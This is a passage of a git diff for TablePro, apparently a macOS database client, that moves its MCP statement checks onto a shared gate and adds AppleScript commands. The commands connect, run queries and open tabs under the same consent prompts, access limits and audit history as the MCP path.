!allowsMultiStatement, - QueryClassifier.isMultiStatement(sql, databaseType: meta.databaseType) { - throw MCPToolExecutionError.invalidArgument( - String(localized: "Send one statement at a time.") - ) - } - - if classification.tier != .safe, meta.externalAccess != .readWrite { - throw MCPToolExecutionError.denied( - String(localized: "This connection is read only for external clients.") - ) - } - - if classification.tier == .destructive, !allowsDestructive { - throw MCPToolExecutionError.denied( - String( - localized: """ - This statement drops or truncates data. Use confirm_destructive_operation for it. - """ + let classification = try translating { + try ExternalStatementGate.classify( + ExternalStatementGate.Statement( + sql: sql, + connectionId: meta.connectionId, + databaseType: meta.databaseType, + externalAccess: meta.externalAccess, + allowsDestructive: allowsDestructive, + allowsMultiStatement: allowsMultiStatement, + destructiveAlternative: String( + localized: "Use confirm_destructive_operation for it." + ) ) ) } @@ -86,10 +66,27 @@ enum MCPStatementGate { sql: String, meta: ToolConnectionMetadata ) -> Bool { - if classification.tier == .destructive { return true } - if QueryClassifier.isDangerousQuery(sql, databaseType: meta.databaseType) { return true } - guard meta.safeModeLevel.requiresConfirmation else { return false } - return classification.tier != .safe || meta.safeModeLevel.appliesToAllQueries + ExternalStatementGate.requiresUserConsent( + classification: classification, + sql: sql, + databaseType: meta.databaseType, + safeModeLevel: meta.safeModeLevel + ) + } + + /// The shared gate speaks in its own vocabulary so it owes nothing to MCP. Its two refusals map + /// onto the two tool errors that already mean the same things. + private static func translating(_ body: () throws -> T) throws -> T { + do { + return try body() + } catch let error as ExternalStatementGateError { + switch error { + case .denied(let detail): + throw MCPToolExecutionError.denied(detail) + case .invalidArgument(let detail): + throw MCPToolExecutionError.invalidArgument(detail) + } + } } private static func consentOutcome( diff --git a/TablePro/Core/MCP/Protocol/Tools/MCPToolExecutionError.swift b/TablePro/Core/MCP/Protocol/Tools/MCPToolExecutionError.swift index 7526d5425..30fdfebc5 100644 --- a/TablePro/Core/MCP/Protocol/Tools/MCPToolExecutionError.swift +++ b/TablePro/Core/MCP/Protocol/Tools/MCPToolExecutionError.swift @@ -49,7 +49,7 @@ public struct MCPToolExecutionError: Error, Sendable, Equatable { MCPToolExecutionError(code: .queryFailed, message: message) } - public static func from(_ error: MCPDataLayerError, secrets: [String] = []) -> MCPToolExecutionError { + public static func from(_ error: DatabaseAccessError, secrets: [String] = []) -> MCPToolExecutionError { switch error { case .notConnected: return MCPToolExecutionError( diff --git a/TablePro/Core/MCP/Protocol/Tools/MCPToolImplementation.swift b/TablePro/Core/MCP/Protocol/Tools/MCPToolImplementation.swift index e4801d716..646ed4656 100644 --- a/TablePro/Core/MCP/Protocol/Tools/MCPToolImplementation.swift +++ b/TablePro/Core/MCP/Protocol/Tools/MCPToolImplementation.swift @@ -48,7 +48,7 @@ public extension MCPToolImplementation { throw error } catch let error as MCPToolExecutionError { return error.asToolResult - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { return MCPToolExecutionError.from(error).asToolResult } catch is CancellationError { throw MCPProtocolError.requestCancelled() diff --git a/TablePro/Core/MCP/Protocol/Tools/MaintenanceTools.swift b/TablePro/Core/MCP/Protocol/Tools/MaintenanceTools.swift index a622c1561..9cac418f1 100644 --- a/TablePro/Core/MCP/Protocol/Tools/MaintenanceTools.swift +++ b/TablePro/Core/MCP/Protocol/Tools/MaintenanceTools.swift @@ -129,7 +129,7 @@ public struct RunMaintenanceTool: MCPToolImplementation { table: table, options: options ) - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { throw MCPToolExecutionError.from(error, secrets: meta.redactionSecrets) } diff --git a/TablePro/Core/MCP/Protocol/Tools/ServerTools.swift b/TablePro/Core/MCP/Protocol/Tools/ServerTools.swift index f67aff27f..ca3d0701a 100644 --- a/TablePro/Core/MCP/Protocol/Tools/ServerTools.swift +++ b/TablePro/Core/MCP/Protocol/Tools/ServerTools.swift @@ -162,7 +162,7 @@ public struct StopServerSessionTool: MCPToolImplementation { processId: processId, cancelOnly: mode == "cancel" ) - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { throw MCPToolExecutionError.from(error, secrets: meta.redactionSecrets) } diff --git a/TablePro/Core/MCP/Protocol/Tools/ToolConnectionMetadata.swift b/TablePro/Core/MCP/Protocol/Tools/ToolConnectionMetadata.swift index 1ac17a6e7..a70e51650 100644 --- a/TablePro/Core/MCP/Protocol/Tools/ToolConnectionMetadata.swift +++ b/TablePro/Core/MCP/Protocol/Tools/ToolConnectionMetadata.swift @@ -11,20 +11,9 @@ struct ToolConnectionMetadata: Sendable { static func resolve(connectionId: UUID) async throws -> ToolConnectionMetadata { try await MainActor.run { - switch DatabaseManager.shared.connectionState(connectionId) { - case .live(_, let session): - return make( - connectionId: connectionId, - connection: session.connection, - databaseName: session.resolvedBrowseDatabase - ) - case .stored(let connection): - return make( - connectionId: connectionId, - connection: connection, - databaseName: connection.database - ) - case .unknown: + do { + return make(try ExternalConnectionPolicySnapshot.resolve(connectionId: connectionId)) + } catch { throw MCPToolExecutionError.notFound( String(localized: "No saved connection has that id.") ) @@ -33,23 +22,19 @@ struct ToolConnectionMetadata: Sendable { } @MainActor - private static func make( - connectionId: UUID, - connection: DatabaseConnection, - databaseName: String - ) -> ToolConnectionMetadata { + private static func make(_ snapshot: ExternalConnectionPolicySnapshot) -> ToolConnectionMetadata { ToolConnectionMetadata( - connectionId: connectionId, - databaseType: connection.type, - safeModeLevel: connection.safeModeLevel, - externalAccess: connection.externalAccess, - databaseName: databaseName, - connectionName: connection.name, + connectionId: snapshot.connectionId, + databaseType: snapshot.databaseType, + safeModeLevel: snapshot.safeModeLevel, + externalAccess: snapshot.externalAccess, + databaseName: snapshot.databaseName, + connectionName: snapshot.connectionName, redactionSecrets: [ - connection.host, - connection.username, - connection.database, - String(connection.port) + snapshot.host, + snapshot.username, + snapshot.storedDatabaseName, + String(snapshot.port) ].filter { !$0.isEmpty } ) } diff --git a/TablePro/Core/MCP/Protocol/Tools/ToolQueryExecutor.swift b/TablePro/Core/MCP/Protocol/Tools/ToolQueryExecutor.swift index c4ea46466..9ae87941f 100644 --- a/TablePro/Core/MCP/Protocol/Tools/ToolQueryExecutor.swift +++ b/TablePro/Core/MCP/Protocol/Tools/ToolQueryExecutor.swift @@ -105,7 +105,7 @@ enum ToolQueryExecutor { } static func translate(_ error: Error, secrets: [String]) -> Error { - if let dataError = error as? MCPDataLayerError { + if let dataError = error as? DatabaseAccessError { return MCPToolExecutionError.from(dataError, secrets: secrets) } if let toolError = error as? MCPToolExecutionError { diff --git a/TablePro/Core/MCP/Transport/Extensions/MCPHttpRequestRouter+Pairing.swift b/TablePro/Core/MCP/Transport/Extensions/MCPHttpRequestRouter+Pairing.swift index 03de3e8aa..2aa5391c1 100644 --- a/TablePro/Core/MCP/Transport/Extensions/MCPHttpRequestRouter+Pairing.swift +++ b/TablePro/Core/MCP/Transport/Extensions/MCPHttpRequestRouter+Pairing.swift @@ -83,7 +83,7 @@ internal extension MCPHttpRequestRouter { if let protocolError = error as? MCPProtocolError { return (protocolError.httpStatus, protocolError.message, protocolError.extraHeaders) } - guard let domainError = error as? MCPDataLayerError else { + guard let domainError = error as? DatabaseAccessError else { return (.internalServerError, "Internal error", []) } switch domainError { diff --git a/TablePro/Core/Scripting/Commands/ScriptConnectionCommands.swift b/TablePro/Core/Scripting/Commands/ScriptConnectionCommands.swift new file mode 100644 index 000000000..8d3f21354 --- /dev/null +++ b/TablePro/Core/Scripting/Commands/ScriptConnectionCommands.swift @@ -0,0 +1,69 @@ +// +// ScriptConnectionCommands.swift +// TablePro +// + +import AppKit +import Foundation + +/// `connect connection "prod"` +/// +/// Opens the session without opening a window, so a script can read from a connection the user does +/// not have on screen. Connecting can still put a password or passphrase prompt in front of the +/// person, which is correct: the alternative is a script silently failing on every connection whose +/// secret is not in the keychain. +@objc(TPScriptConnectCommand) +internal final class ScriptConnectCommand: ScriptCommand { + private let bridge = DatabaseAccessBridge() + + @MainActor + override internal func run() async throws -> Any? { + let connection = try requiredReceiver(ScriptConnection.self) + try await ScriptConnectGate.authorizeConnect(connectionId: connection.connectionId) + _ = try await bridge.connect(connectionId: connection.connectionId) + return ScriptingSnapshot.connection(withId: connection.connectionId) + } +} + +/// `disconnect connection "prod"` +/// +/// Through `ConnectionDisconnectAction`, which is the one path a requested disconnect takes, so a +/// script gets the same unsaved-work confirmation the menu bar and the rail get and the session ends +/// as one the user asked to end. Tearing the session down directly would discard pending grid edits +/// with nothing said, and would leave the window treating a deliberate disconnect as a lost one. +@objc(TPScriptDisconnectCommand) +internal final class ScriptDisconnectCommand: ScriptCommand { + @MainActor + override internal func run() async throws -> Any? { + let connection = try requiredReceiver(ScriptConnection.self) + guard case .live = DatabaseManager.shared.connectionState(connection.connectionId) else { + throw ScriptingError.failed(String(localized: "The connection is not open.")) + } + + await ConnectionDisconnectAction.disconnect( + connectionId: connection.connectionId, + connectionName: connection.name, + presentingWindow: NSApp.keyWindow + ) + + if case .live = DatabaseManager.shared.connectionState(connection.connectionId) { + throw ScriptingError.refused(String(localized: "The disconnect was cancelled.")) + } + return ScriptingSnapshot.connection(withId: connection.connectionId) + } +} + +/// `show connection "prod"` +/// +/// Brings the connection's window forward, opening one if it has none. This is the deep link the URL +/// scheme already offers, reachable from a script that also wants a value back afterwards. +@objc(TPScriptShowConnectionCommand) +internal final class ScriptShowConnectionCommand: ScriptCommand { + @MainActor + override internal func run() async throws -> Any? { + let connection = try requiredReceiver(ScriptConnection.self) + try await TabRouter.shared.route(.openConnection(connection.connectionId)) + AppActivationPolicyController.shared.activate(ignoringOtherApps: true) + return ScriptingSnapshot.connection(withId: connection.connectionId) + } +} diff --git a/TablePro/Core/Scripting/Commands/ScriptRunQueryCommand.swift b/TablePro/Core/Scripting/Commands/ScriptRunQueryCommand.swift new file mode 100644 index 000000000..dc9a32814 --- /dev/null +++ b/TablePro/Core/Scripting/Commands/ScriptRunQueryCommand.swift @@ -0,0 +1,34 @@ +// +// ScriptRunQueryCommand.swift +// TablePro +// + +import Foundation + +/// `run query "SELECT …" in connection "prod"` +/// +/// Runs headlessly: no window is opened and no tab is disturbed, because a script that wants rows +/// back usually wants them without the app coming to the front. `open table` is the command for the +/// other intent. +@objc(TPScriptRunQueryCommand) +internal final class ScriptRunQueryCommand: ScriptCommand { + private let bridge = DatabaseAccessBridge() + + @MainActor + override internal func run() async throws -> Any? { + let sql = try requiredText() + let connection = try requiredConnection() + let request = ScriptQueryRunner.Request( + sql: sql, + connectionId: connection.connectionId, + database: optionalString(ScriptingKeys.Parameter.database), + schema: optionalString(ScriptingKeys.Parameter.schema), + rowLimit: optionalInt(ScriptingKeys.Parameter.rowLimit), + timeoutSeconds: optionalInt(ScriptingKeys.Parameter.timeout), + client: sendingApplication + ) + + let outcome = try await ScriptQueryRunner.run(request, bridge: bridge) + return ScriptResultEncoder.encode(outcome.result, executionTimeMs: outcome.executionTimeMs) + } +} diff --git a/TablePro/Core/Scripting/Commands/ScriptTabCommands.swift b/TablePro/Core/Scripting/Commands/ScriptTabCommands.swift new file mode 100644 index 000000000..3beab7ab0 --- /dev/null +++ b/TablePro/Core/Scripting/Commands/ScriptTabCommands.swift @@ -0,0 +1,66 @@ +// +// ScriptTabCommands.swift +// TablePro +// + +import AppKit +import Foundation + +/// `open table "users" in connection "prod"` +/// +/// Goes through the same routing a deep link does, so a table already open is brought forward rather +/// than opened twice, and the connection is opened first if it is not already. +@objc(TPScriptOpenTableCommand) +internal final class ScriptOpenTableCommand: ScriptCommand { + @MainActor + override internal func run() async throws -> Any? { + let table = try requiredText() + let connection = try requiredConnection() + let database = optionalString(ScriptingKeys.Parameter.database) + let schema = optionalString(ScriptingKeys.Parameter.schema) + + /// Through `TabRouter` rather than `LaunchIntentRouter`, because the latter catches + /// everything and returns. A denied pre-connect approval or a failed connect would otherwise + /// reach the script as an unrelated timeout, or as a shell tab reported as success. + try await TabRouter.shared.route( + .openTable( + connectionId: connection.connectionId, + database: database, + schema: schema, + table: table, + isView: false + ) + ) + AppActivationPolicyController.shared.activate(ignoringOtherApps: true) + + guard let tab = await ScriptingSnapshot.awaitTab( + connectionId: connection.connectionId, + tableName: table, + databaseName: database, + schemaName: schema + ) else { + throw ScriptingError.failed( + String(localized: "TablePro did not open that table in time.") + ) + } + return tab + } +} + +/// `focus tab id "…" of connection "prod"` +/// +/// Selects the tab and brings its window forward. Named `focus` rather than `select` because +/// selecting is what the grid does to rows, and a script that says `select` about a tab would be +/// reading as though it changed the selection inside it. +@objc(TPScriptFocusTabCommand) +internal final class ScriptFocusTabCommand: ScriptCommand { + @MainActor + override internal func run() async throws -> Any? { + let tab = try requiredReceiver(ScriptTab.self) + guard ScriptingSnapshot.focus(tab: tab.tabId, connectionId: tab.connectionId) else { + throw ScriptingError.noSuchObject(String(localized: "That tab is not open.")) + } + AppActivationPolicyController.shared.activate(ignoringOtherApps: true) + return tab + } +} diff --git a/TablePro/Core/Scripting/ScriptCommand.swift b/TablePro/Core/Scripting/ScriptCommand.swift new file mode 100644 index 000000000..b0c986906 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptCommand.swift @@ -0,0 +1,151 @@ +// +// ScriptCommand.swift +// TablePro +// + +import AppKit +import Foundation +import os + +/// Carries a main-actor value across the isolation boundary Cocoa Scripting hands us. +/// +/// Cocoa delivers every Apple event on the main thread and documents `resumeExecutionWithResult:` +/// as callable from any thread, but none of the scripting types are `Sendable`, so the compiler +/// cannot see either fact. This is the same shape `AppDelegate` uses for a UserNotifications +/// callback, and it is used here for the same reason. +internal struct ScriptingBox: @unchecked Sendable { + internal let value: Value + internal init(_ value: Value) { self.value = value } +} + +/// The base every TablePro script command is built on. +/// +/// Connecting and running a statement are asynchronous and can put a Safe Mode dialog in front of a +/// person, so a command cannot answer inside `performDefaultImplementation`. Cocoa's documented +/// answer is `suspendExecution()`, and the reply is delivered when `resumeExecution(withResult:)` +/// runs. Measured: the sending script waits, other Apple events are still answered meanwhile, and a +/// modal alert inside the suspended command works. +/// +/// Subclasses override `run()` and nothing else. That keeps the suspend and resume plumbing in one +/// place, and it is what makes a command testable: `run()` is an ordinary async function that a test +/// calls directly, because suspend and resume do nothing outside real Apple event handling. +internal class ScriptCommand: NSScriptCommand { + nonisolated static let logger = Logger(subsystem: "com.TablePro", category: "Scripting") + + /// The object the command was addressed to, when it was addressed to one. + /// + /// A command whose direct parameter is a specifier is dispatched to that object rather than to + /// the application, measured: `connect connection "prod"` reaches `ScriptConnection`'s handler + /// and never reaches `performDefaultImplementation`. Both routes end up here. + private(set) var receiverObject: NSObject? + + /// The sending application's name, read while the event is still being dispatched. + /// + /// `NSAppleEventManager.currentAppleEvent` is only the event in flight during dispatch, and + /// `run()` executes after `suspendExecution()` has handed control back, so reading it there + /// returns nil or some other command's event. Captured once here instead, which is the only + /// point that is still inside the dispatch. + private(set) var sendingApplication: String? + + /// The command's work. Anything it throws is reported to the script as an error. + @MainActor + internal func run() async throws -> Any? { + nil + } + + override func performDefaultImplementation() -> Any? { + begin(receiver: nil) + } + + internal func begin(receiver: NSObject?) -> Any? { + receiverObject = receiver + sendingApplication = Self.sendingApplicationName() + let box = ScriptingBox(self) + suspendExecution() + Task { @MainActor in + let command = box.value + do { + let result = try await command.run() + command.resumeExecution(withResult: result) + } catch { + let scripting = ScriptingError.from(error) + Self.logger.error( + "\(type(of: command), privacy: .public) failed: \(scripting.errorDescription ?? "", privacy: .public)" + ) + command.scriptErrorNumber = scripting.number + command.scriptErrorString = scripting.errorDescription + command.resumeExecution(withResult: nil) + } + } + return nil + } + + // MARK: - Arguments + + @MainActor + internal func requiredConnection() throws -> ScriptConnection { + guard let connection = evaluatedArguments?[ScriptingKeys.Parameter.connection] as? ScriptConnection else { + throw ScriptingError.noSuchObject(String(localized: "Name a connection to run this on.")) + } + return connection + } + + /// The object a `connect connection "prod"` style command was addressed to. + @MainActor + internal func requiredReceiver(_ type: Object.Type) throws -> Object { + guard let object = receiverObject as? Object else { + throw ScriptingError.noSuchObject(String(localized: "That object does not exist.")) + } + return object + } + + @MainActor + internal func requiredText() throws -> String { + let text = (directParameter as? String)?.trimmingCharacters(in: .whitespacesAndNewlines) + guard let text, !text.isEmpty else { + throw ScriptingError.failed(String(localized: "This command needs some text.")) + } + return text + } + + @MainActor + internal func optionalString(_ key: String) -> String? { + guard let value = evaluatedArguments?[key] as? String else { return nil } + let trimmed = value.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed.isEmpty ? nil : trimmed + } + + @MainActor + internal func optionalInt(_ key: String) -> Int? { + (evaluatedArguments?[key] as? NSNumber)?.intValue + } + + /// The application that sent this Apple event, for the confirmation dialog and the audit log. + /// + /// Read from the sender pid the kernel stamps on the event, never from anything the script says + /// about itself, so a script cannot claim to be some other app. + private static func sendingApplicationName() -> String? { + guard let event = NSAppleEventManager.shared().currentAppleEvent, + let descriptor = event.attributeDescriptor(forKeyword: keySenderPIDAttr) + else { + return nil + } + let pid = descriptor.int32Value + guard pid != 0, let app = NSRunningApplication(processIdentifier: pid) else { return nil } + return app.localizedName ?? app.bundleIdentifier + } +} + +/// The bridge between Cocoa's receiver dispatch and `ScriptCommand`'s async plumbing. +/// +/// A command addressed to an object is delivered by calling a method on that object, so each +/// scriptable class needs an `@objc` entry point per verb it answers. They all do the same thing, +/// which is hand the command back to itself with the receiver attached. +internal protocol ScriptCommandReceiving: NSObject {} + +internal extension ScriptCommandReceiving { + func beginScriptCommand(_ command: NSScriptCommand) -> Any? { + guard let command = command as? ScriptCommand else { return nil } + return command.begin(receiver: self) + } +} diff --git a/TablePro/Core/Scripting/ScriptConnectGate.swift b/TablePro/Core/Scripting/ScriptConnectGate.swift new file mode 100644 index 000000000..d5d1aa770 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptConnectGate.swift @@ -0,0 +1,38 @@ +// +// ScriptConnectGate.swift +// TablePro +// + +import Foundation + +/// The confirmation a connect has to clear before a script can cause one. +/// +/// A pre-connect script is arbitrary shell code stored with the connection, and +/// `DatabaseManager.ensureConnected` runs it. `PreConnectScriptPrompt` exists so no route to a +/// connect can run that code without a person seeing it first, and every route a person can take +/// asks: the connection list, a `tablepro://` link, and opening a table. A script is a route too, so +/// it asks as well. +/// +/// Skipped only when the session is genuinely live. An installed driver is not the test: a session +/// the health monitor has marked unreachable or recovering keeps its driver by design, and +/// `connectionState` reports it as stored, so `ensureConnected` reconnects and runs the script again. +/// Asking on `driver != nil` would have stayed silent through exactly that reconnect. +@MainActor +internal enum ScriptConnectGate { + internal static func authorizeConnect(connectionId: UUID) async throws { + if case .live = DatabaseManager.shared.connectionState(connectionId) { return } + + guard let connection = ConnectionStorage.shared.loadConnections() + .first(where: { $0.id == connectionId }) + else { + throw ScriptingError.noSuchObject(String(localized: "No saved connection has that id.")) + } + guard connection.hasPreConnectScript else { return } + + guard await PreConnectScriptPrompt.confirmIfNeeded(for: connection) else { + throw ScriptingError.refused( + String(localized: "The connection's pre-connect script was not approved.") + ) + } + } +} diff --git a/TablePro/Core/Scripting/ScriptConnection.swift b/TablePro/Core/Scripting/ScriptConnection.swift new file mode 100644 index 000000000..5ae2663f3 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptConnection.swift @@ -0,0 +1,90 @@ +// +// ScriptConnection.swift +// TablePro +// + +import AppKit +import Foundation + +/// One saved connection, as a script sees it. +/// +/// A value snapshot rather than a live handle. Cocoa re-resolves `connection "prod"` on every event, +/// so a fresh instance per event is always current, and nothing here outlives the event that built +/// it. Identity across events comes from `uniqueId`, which is why `objectSpecifier` is a unique-ID +/// specifier: a name is editable and need not be unique, so a reference built on one would start +/// pointing somewhere else the moment the user renamed a connection. +/// +/// Nothing on this object is a credential, and the account name is absent too. A password, an SSH +/// key, a password command and every plugin secure field would obviously not belong here; the user +/// name is the less obvious one, and it is left out because `list_connections` leaves it out and +/// `MCPErrorRedactor` treats it as a secret. Handing it to every app with Automation permission, +/// for every connection the user has never opened, would complete the target tuple for a password +/// spray against those servers on a weaker gate than the one MCP asks for. +@objc(TPScriptConnection) +internal final class ScriptConnection: NSObject, ScriptCommandReceiving { + @objc internal let uniqueId: String + @objc internal let name: String + @objc internal let databaseType: String + @objc internal let host: String + @objc internal let port: Int + @objc internal let currentDatabase: String + @objc internal let currentSchema: String? + @objc internal let isConnected: Bool + @objc internal let safeMode: FourCharCode + @objc internal let externalAccess: FourCharCode + + internal let connectionId: UUID + + internal init(connection: DatabaseConnection, session: ConnectionSession?) { + self.connectionId = connection.id + self.uniqueId = connection.id.uuidString + self.name = connection.name + self.databaseType = connection.type.rawValue + self.host = connection.host + self.port = connection.port + self.currentDatabase = session?.resolvedBrowseDatabase ?? connection.database + self.currentSchema = session?.browseSchema + self.isConnected = session?.reportedStatus.isConnected ?? false + self.safeMode = ScriptEnumerations.code(for: connection.safeModeLevel) + self.externalAccess = ScriptEnumerations.code(for: connection.externalAccess) + super.init() + } + + /// Only the connection's id crosses onto the main actor. Handing the whole object over would + /// mean sending a non-`Sendable` class into another isolation domain, which is the one thing + /// the compiler will not let a snapshot type do. + @objc internal var scriptTabs: [ScriptTab] { + let connectionId = connectionId + return MainActor.assumeIsolated { + ScriptingBox(ScriptingSnapshot.tabs(forConnection: connectionId)) + }.value + } + + @objc internal func valueInScriptTabs(withUniqueID id: Any) -> ScriptTab? { + guard let wanted = ScriptingSnapshot.uuid(from: id) else { return nil } + return scriptTabs.first { $0.tabId == wanted } + } + + @objc internal func valueInScriptTabs(withName name: String) -> ScriptTab? { + scriptTabs.first { $0.name == name } + } + + @objc internal func handleConnectCommand(_ command: NSScriptCommand) -> Any? { + beginScriptCommand(command) + } + + @objc internal func handleDisconnectCommand(_ command: NSScriptCommand) -> Any? { + beginScriptCommand(command) + } + + @objc internal func handleShowCommand(_ command: NSScriptCommand) -> Any? { + beginScriptCommand(command) + } + + override internal var objectSpecifier: NSScriptObjectSpecifier? { + let uniqueId = uniqueId + return MainActor.assumeIsolated { + ScriptingBox(ScriptingSpecifiers.connection(uniqueId: uniqueId)) + }.value + } +} diff --git a/TablePro/Core/Scripting/ScriptEnumerations.swift b/TablePro/Core/Scripting/ScriptEnumerations.swift new file mode 100644 index 000000000..a345040bb --- /dev/null +++ b/TablePro/Core/Scripting/ScriptEnumerations.swift @@ -0,0 +1,55 @@ +// +// ScriptEnumerations.swift +// TablePro +// + +import Foundation + +/// The four-character codes `TablePro.sdef` gives each enumerator. +/// +/// Cocoa carries an sdef enumeration as a `FourCharCode`, so a scriptable property backed by one is +/// typed `FourCharCode` and these are the values it may hold. Every switch is exhaustive on purpose: +/// a case added to `SafeModeLevel` or `TabType` has to be given a code and an sdef enumerator in the +/// same change, and the compiler is what says so. `DatabaseType` gets no enumeration at all, because +/// it is an open string a plugin can extend and an sdef enumeration cannot be. +internal enum ScriptEnumerations { + internal static func code(for level: SafeModeLevel) -> FourCharCode { + switch level { + case .silent: fourCharCode("TPm1") + case .alert: fourCharCode("TPm2") + case .alertFull: fourCharCode("TPm3") + case .safeMode: fourCharCode("TPm4") + case .safeModeFull: fourCharCode("TPm5") + case .readOnly: fourCharCode("TPm6") + } + } + + internal static func code(for access: ExternalAccessLevel) -> FourCharCode { + switch access { + case .blocked: fourCharCode("TPa1") + case .readOnly: fourCharCode("TPm6") + case .readWrite: fourCharCode("TPa3") + } + } + + internal static func code(for tabType: TabType) -> FourCharCode { + switch tabType { + case .query: fourCharCode("TPk1") + case .table: fourCharCode("TPk2") + case .createTable: fourCharCode("TPk3") + case .erDiagram: fourCharCode("TPk4") + case .serverDashboard: fourCharCode("TPk5") + case .usersRoles: fourCharCode("TPk6") + case .insights: fourCharCode("TPk7") + case .objectSource: fourCharCode("TPk8") + } + } + + internal static func fourCharCode(_ string: String) -> FourCharCode { + var code: FourCharCode = 0 + for byte in string.utf8.prefix(4) { + code = (code << 8) | FourCharCode(byte) + } + return code + } +} diff --git a/TablePro/Core/Scripting/ScriptQueryRunner.swift b/TablePro/Core/Scripting/ScriptQueryRunner.swift new file mode 100644 index 000000000..82c814a01 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptQueryRunner.swift @@ -0,0 +1,209 @@ +// +// ScriptQueryRunner.swift +// TablePro +// + +import Foundation + +/// Runs one statement for a script, with every gate a script has to clear. +/// +/// A script is an external caller with no token, so the gates it clears are the connection's own: +/// **External Clients** decides whether it may write at all, and Safe Mode decides whether a person +/// has to see the statement first. Both are applied by `ExternalStatementGate`, which is the same +/// code the MCP tools run, so the two surfaces cannot drift apart on what a connection allows. +/// +/// The confirmation names the app that sent the Apple event, taken from the sender pid the kernel +/// stamps on it. A person approving a `DELETE` deserves to know whether it came from a Shortcut they +/// just ran or from something they forgot was open. +internal enum ScriptQueryRunner { + /// Deliberately not the MCP settings. That row cap and that timeout belong to the MCP server's + /// own configuration, and reading them here would make a script's behaviour change when the user + /// tuned an unrelated surface. A script that wants different limits passes them per command. + internal static let defaultRowLimit = 500 + internal static let maximumRowLimit = 10_000 + internal static let defaultTimeoutSeconds = 30 + internal static let maximumTimeoutSeconds = 600 + + internal struct Request: Sendable { + internal let sql: String + internal let connectionId: UUID + internal let database: String? + internal let schema: String? + internal let rowLimit: Int? + internal let timeoutSeconds: Int? + internal let client: String? + } + + internal struct Outcome: Sendable { + internal let result: QueryResult + internal let executionTimeMs: Double + } + + internal static func run( + _ request: Request, + bridge: DatabaseAccessBridge, + history: QueryHistoryRecording = QueryHistoryManager.shared + ) async throws -> Outcome { + let snapshot = try await MainActor.run { () throws -> ExternalConnectionPolicySnapshot in + /// Asked here as well as at the object model, so the rule holds even if some later + /// command hands this a connection id it did not resolve through `connections()`. + guard ScriptingSnapshot.isVisibleToScripts(connectionId: request.connectionId) else { + throw ScriptingError.noSuchObject( + String(localized: "No saved connection has that id.") + ) + } + return try ExternalConnectionPolicySnapshot.resolve(connectionId: request.connectionId) + } + + /// Classified before anything connects, so a statement the connection refuses never opens a + /// session and never asks the user for a password. + try ExternalStatementGate.classify( + ExternalStatementGate.Statement( + sql: request.sql, + connectionId: request.connectionId, + databaseType: snapshot.databaseType, + externalAccess: snapshot.externalAccess, + allowsDestructive: true + ) + ) + + /// Before anything connects. `resolveScope` calls `ensureConnected`, which runs the + /// connection's pre-connect shell script, and a script asking for rows is not consent to run + /// that code. + try await ScriptConnectGate.authorizeConnect(connectionId: request.connectionId) + + let scope = try await bridge.resolveScope( + connectionId: request.connectionId, + database: request.database, + schema: request.schema + ) + + try await ExternalStatementGate.authorizeExecution( + sql: request.sql, + connectionId: request.connectionId, + databaseType: snapshot.databaseType, + caller: .appleScript(client: request.client), + capabilities: [.mayWrite, .mayRunDestructive], + operationDescription: confirmationTitle(client: request.client, connection: snapshot.connectionName) + ) + + let rowLimit = (request.rowLimit ?? defaultRowLimit).clamped(to: 1...maximumRowLimit) + let timeout = (request.timeoutSeconds ?? defaultTimeoutSeconds).clamped(to: 1...maximumTimeoutSeconds) + let startedAt = ContinuousClock.Instant.now + let started = Date() + + do { + let outcome = try await bridge.runStatement( + scope: scope, + query: request.sql, + maxRows: rowLimit, + timeoutSeconds: timeout, + cancellation: nil + ) + await record( + request, + scope: scope, + databaseType: snapshot.databaseType, + elapsed: Date().timeIntervalSince(started), + rowCount: outcome.result.rows.count, + error: nil, + history: history + ) + await report( + .succeeded( + OperationSummary( + rowsReturned: outcome.result.rows.count, + rowsAffected: outcome.result.rowsAffected + ) + ), + request: request, + scope: scope, + startedAt: startedAt + ) + return Outcome(result: outcome.result, executionTimeMs: outcome.executionTimeMs) + } catch { + let message = ScriptingError.from(error, secrets: snapshot.redactionSecrets).errorDescription + await record( + request, + scope: scope, + databaseType: snapshot.databaseType, + elapsed: Date().timeIntervalSince(started), + rowCount: 0, + error: message, + history: history + ) + await report( + .failed(reason: message ?? String(localized: "The query failed.")), + request: request, + scope: scope, + startedAt: startedAt + ) + throw ScriptingError.from(error, secrets: snapshot.redactionSecrets) + } + } + + private static func confirmationTitle(client: String?, connection: String) -> String { + guard let client, !client.isEmpty else { + return String(format: String(localized: "A script wants to run a query on \"%@\""), connection) + } + return String( + format: String(localized: "%1$@ wants to run a query on \"%2$@\""), + client, + connection + ) + } + + /// Scripted statements go into the history drawer under their own source, so the person whose + /// database it is can see what ran without the app being open at the time. + private static func record( + _ request: Request, + scope: DatabaseScope, + databaseType: DatabaseType, + elapsed: TimeInterval, + rowCount: Int, + error: String?, + history: QueryHistoryRecording + ) async { + await history.record( + QueryHistoryRecordRequest( + query: request.sql, + connectionId: request.connectionId, + databaseName: scope.database, + databaseType: databaseType, + schemaName: scope.schema, + source: .script, + executionTime: elapsed, + rowCount: rowCount, + wasSuccessful: error == nil, + errorMessage: error + ) + ) + } + + /// A scripted query has no tab and no window, so its completion belongs to the connection, the + /// same as an MCP query's does. + @MainActor + private static func report( + _ outcome: OperationOutcome, + request: Request, + scope: DatabaseScope, + startedAt: ContinuousClock.Instant + ) { + guard let connection = ConnectionStorage.shared.loadConnections() + .first(where: { $0.id == request.connectionId }) + else { + return + } + OperationCompletionReporter.shared.report( + OperationCompletion( + kind: .scriptQuery, + owner: .connection(request.connectionId), + connectionId: request.connectionId, + connectionName: connection.name, + databaseName: scope.database, + elapsed: startedAt.duration(to: .now), + outcome: outcome + ) + ) + } +} diff --git a/TablePro/Core/Scripting/ScriptResultEncoder.swift b/TablePro/Core/Scripting/ScriptResultEncoder.swift new file mode 100644 index 000000000..f7164b444 --- /dev/null +++ b/TablePro/Core/Scripting/ScriptResultEncoder.swift @@ -0,0 +1,106 @@ +// +// ScriptResultEncoder.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +/// Turns a result set into the `query result` record the scripting dictionary declares. +/// +/// The shape is forced by what Cocoa Scripting can carry. A list of lists cannot be returned at all, +/// under any declaration, but a record whose property is a list of records can, so rows are a list 